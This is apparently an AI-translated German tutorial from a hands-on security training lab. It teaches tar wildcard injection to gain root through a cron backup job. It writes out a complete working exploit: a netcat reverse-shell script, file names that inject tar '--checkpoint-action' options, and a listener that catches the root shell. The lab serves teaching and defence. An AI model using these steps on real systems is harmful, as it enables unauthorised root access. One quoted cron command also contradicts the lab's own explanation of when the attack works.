Wildcard-Injection in Nmap zur Privilegienerweiterung durchführen

Beginner

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab werden wir uns mit der Wildcard-Injection (Platzhalter-Injektion) befassen, einer Technik zur Privilegierhöhung auf Linux-Systemen. Insbesondere werden wir das Prinzip der Wildcard-Injection im weit verbreiteten tar-Befehl untersuchen und eine praktische Übung durchführen, um Root-Privilegien zu erlangen, indem wir diese Schwachstelle in Kombination mit dem crontab-Tool ausnutzen.


Skills Graph

Wildcards verstehen

Zunächst verstehen wir, was Wildcards (Platzhalter) sind und wie sie in der Linux-Shell funktionieren. Wildcards sind spezielle Zeichen oder Zeichenfolgen, die verwendet werden können, um eine Gruppe von Dateinamen oder Pfaden darzustellen oder zu matchen.

Hier sind einige häufige Wildcards:

  • * (Sternchen) passt auf eine beliebige Anzahl von Zeichen (einschließlich null Zeichen) in einem Dateinamen oder Pfad.
  • ? (Fragezeichen) passt auf ein beliebiges einzelnes Zeichen.
  • [] (eckige Klammern) passen auf ein beliebiges einzelnes Zeichen aus der in den Klammern angegebenen Zeichenmenge.
  • ~ (Tilde) repräsentiert das Home-Verzeichnis des aktuellen Benutzers oder eines anderen Benutzers, wenn es von einem Benutzernamen gefolgt wird.

Im Zusammenhang mit der Privilegierhöhung werden häufig die Wildcards * und - verwendet. Lassen Sie uns zunächst untersuchen, wie die Shell das --Zeichen interpretiert.

  1. Öffnen Sie ein Terminal und navigieren Sie in das Verzeichnis /home/labex/project:

    cd /home/labex/project
  2. Es gibt eine Datei namens --help im aktuellen Verzeichnis. Versuchen Sie, darüber nachzudenken und zu experimentieren, wie Sie den Inhalt dieser Datei anzeigen können.

    Wenn Sie den Befehl cat --help verwenden, erhalten Sie die Hilfemeldung für den cat-Befehl anstatt den Inhalt der Datei --help anzuzeigen.

    Ähnlich wird bei Verwendung von vim --help eine Hilfemeldung für den vim-Befehl angezeigt.

    Dies liegt daran, dass die Linux-Shell - als Befehlsargument interpretiert.

  3. Um den Inhalt der Datei --help anzuzeigen, müssen Sie vermeiden, dass der Dateiname mit - beginnt. Sie können folgendes verwenden:

    cat /home/labex/project/--help

    Auf diese Weise wird die Shell --help nicht als Argument interpretieren, und Sie können den Dateiinhalt anzeigen.

  4. Jetzt ändern wir den Inhalt der Datei --help mit einem beliebigen Editor Ihrer Wahl. Beispielsweise können Sie nano verwenden:

    nano /home/labex/project/--help

    Löschen Sie den vorhandenen Inhalt und fügen Sie den folgenden Text in die Datei ein:

    I can read the file

    Speichern Sie die Datei und verlassen Sie nano.

Dieses Verhalten der Shell wird von der Wildcard-Injection (Platzhalter-Injektion) ausgenutzt.

Wildcard-Injection wird oft in Kombination mit Cron-Jobs eingesetzt. Lassen Sie uns daher ein reales Beispiel mit dem tar-Befehl betrachten.

Crontab Tar Wildcard-Injection

Um zu verstehen, wie Wildcard-Injection (Platzhalter-Injektion) zur Privilegierhöhung führen kann, werden wir eine praktische Übung mit dem tar-Befehl und crontab durchführen.

  1. Zunächst initialisieren wir die Lab-Umgebung, indem wir den folgenden Befehl ausführen:

    Navigieren Sie in das Verzeichnis /home/labex/project:

    cd /home/labex/project

    Führen Sie das Setup-Skript aus, um die Lab-Umgebung zu initialisieren:

    ./env_setup.sh

    Nach der Initialisierung werden Sie auf den Benutzer user001 umgeschaltet (dies simuliert einen Angreifer, der zunächst Zugang zur Shell erlangt hat).

  2. Dann überprüfen wir die crontab auf geplante Aufgaben:

    cat /etc/crontab

    Erwartete Ausgabe:

    * * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *

    Sie sollten eine Aufgabe sehen, die jede Minute ausgeführt wird und den Inhalt des Verzeichnisses /var/www/html/ in eine komprimierte Datei /var/backups/html.tgz archiviert.

  3. Als Nächstes werfen wir einen Blick auf die Dateien im Verzeichnis /var/www/html:

    ls /var/www/html

    Um die Wildcard-Injection-Schwachstelle auszunutzen, müssen wir die folgenden drei Dateien im Verzeichnis /var/www/html/ erstellen.

    Zunächst navigieren Sie in das Verzeichnis /var/www/html:

    cd /var/www/html/
    • shell.sh mit dem Inhalt, um eine Reverse-Shell auszuführen:

      echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
    • Eine Datei namens --checkpoint-action=exec=sh shell.sh (beachten Sie die Leerzeichen im Dateinamen):

      echo "" > "--checkpoint-action=exec=sh shell.sh"
    • Eine Datei namens --checkpoint=1:

      echo "" > --checkpoint=1

    Nach dem Erstellen dieser Dateien sollte das Verzeichnis /var/www/html/ so aussehen:

    '--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
  4. Wenn der Cron-Job den folgenden Befehl ausführt:

    tar -zcf /var/backups/html.tgz /var/www/html/*

    Wird er wie folgt interpretiert:

    tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html

    Hier ist die Bedeutung der Parameter:

    • --checkpoint und --checkpoint-action werden normalerweise zusammen verwendet. Das erste setzt einen Checkpoint, und das zweite gibt die Aktion an, die ausgeführt werden soll, wenn der Checkpoint erreicht wird.
    • --checkpoint-action=exec=sh shell.sh bedeutet, dass wenn der Checkpoint erreicht wird, das Skript shell.sh ausgeführt wird.

    Somit wird jedes Mal, wenn der Cron-Job ausgeführt wird, das Skript shell.sh ausgeführt, das eine Reverse-Shell von /bin/bash an den lokalen Port 4444 sendet.

  5. Stellen wir einen Listener auf dem lokalen Port 4444 in der aktuellen Shell ein:

    nc -lnvp 4444

    Nach kurzer Wartezeit, wenn der Cron-Job ausgeführt wird, sollten wir die Reverse-Shell mit Root-Privilegien erhalten:

    Erwartete Ausgabe:

    Listening on 0.0.0.0 4444
    Connection received on 127.0.0.1 56226

    Versuchen Sie, eine Datei success.txt im Verzeichnis /root zu erstellen, um zu bestätigen, dass Sie Root-Privilegien haben:

    touch /root/success.txt

    Wenn Sie die Datei ohne Berechtigungsfehler erstellen können, haben Sie Ihre Privilegien erfolgreich mithilfe von Wildcard-Injection erhöht.

Es gibt zwei wichtige Einschränkungen bei dieser tar + crontab-Privilegierhöhungstechnik:

  1. Das Verzeichnis html muss für "andere" Benutzer Schreibrechte (w) haben, damit wir die Dateien shell.sh und andere in diesem Verzeichnis erstellen können.

  2. Der tar-Befehl in der crontab sollte keinen absoluten Pfad enthalten. Beispielsweise, wenn der crontab-Eintrag so aussieht:

    * * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*

    Die Wildcard-Injection wird fehlschlagen, weil die Shell den Befehl wie folgt interpretieren wird:

    tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html

    In diesem Fall werden /var/www/html/--checkpoint=1 und /var/www/html/--checkpoint-action=exec=sh shell.sh nicht als tar-Befehlsargumente interpretiert, und die Injektion wird fehlschlagen.

Zusammenfassung

In diesem Lab haben wir uns mit der Wildcard-Injection (Platzhalter-Injektion) beschäftigt, einer Technik zur Privilegierhöhung auf Linux-Systemen. Wir haben das Prinzip der Wildcard-Injection im weit verbreiteten tar-Befehl untersucht und eine praktische Übung durchgeführt, um Root-Privilegien zu erlangen, indem wir diese Schwachstelle in Kombination mit dem crontab-Tool ausgenutzt haben. Durch dieses Lab haben wir praktische Erfahrungen in der Erkennung und Ausnutzung einer realen Privilegierhöhungsschwachstelle gesammelt, was eine essentielle Fähigkeit für jeden Sicherheitsexperten oder Systemadministrator ist.